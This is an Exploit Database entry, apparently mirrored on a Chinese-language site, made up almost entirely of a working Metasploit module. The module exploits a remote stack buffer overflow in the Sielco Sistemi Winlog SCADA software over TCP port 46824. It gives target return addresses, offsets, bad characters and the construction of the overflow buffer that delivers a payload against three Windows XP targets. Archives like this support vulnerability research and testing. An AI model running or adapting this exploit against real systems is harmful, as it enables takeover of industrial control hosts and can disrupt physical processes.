Sielco Sistemi Winlog 2.07.16 – Remote Buffer Overflow (Metasploit)

Exploit Database
150 阅读

作者： James Fitts

日期： 2017-09-13
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/42694/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Sielco Sistemi Winlog <= 2.07.16',

'Description'=> %q{

This module exploits a stack based buffer overflow

found in Sielco Sistemi Winlog <= 2.07.16. The

overflow is triggered during the parsing of a

maliciously crafted packet

},

'Author' => [ 'James Fitts' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: $',

'References' =>

[

],

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload'=>

{

'Space' => 150,

'BadChars' => "\x00\x0a\x0d\x20",

'DisableNops' => 'True',

# add esp, -5500

'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",

'Compat' =>

{

'SymbolLookup' => 'ws2ord',

}

},

'Platform' => 'win',

'Targets'=>

[

[

'Windows XP SP3 EN (Automatic Washing System Demo)',

{

# vcldb40.bpl

# jmp esp

'Ret' => 0x46035f8b,

'Offset' => 160,

'jmp' => "\xe9\x56\xff\xff\xff",

}

],

[

'Windows XP SP3 EN (Car Simulation)',

{

# vcl40.bpl

# jmp esp

'Ret' => 0x4003eb6b,

'Offset' => 175,

'jmp' => "\xe9\x46\xff\xff\xff",

}

],

[

'Windows XP SP3 EN (Ceramics Kiln)',

{

# ter19.dll

# push esp/ retn

'Ret' => 0x258b4432,

'Offset' => 176,

'jmp' => "\xe9\x46\xff\xff\xff",

}

],

],

'DefaultTarget' => 0,

'DisclosureDate' => 'Jun 26 2012'))

register_options([Opt::RPORT(46824)], self.class)

end

def exploit

connect

boom =rand_text_alpha_upper(20)

boom << 'x'

boom << rand_text_alpha_upper(target['Offset'])

boom << [target.ret].pack('V')

boom << "\x41" * 4

boom << target['jmp']

boom << "\xcc" * (281 - boom.length)

boom[22,4] = "\x41" * 4

boom[26,payload.encoded.length] = payload.encoded

print_status("Trying target #{target.name}...")

sock.put(boom)

handler

end

end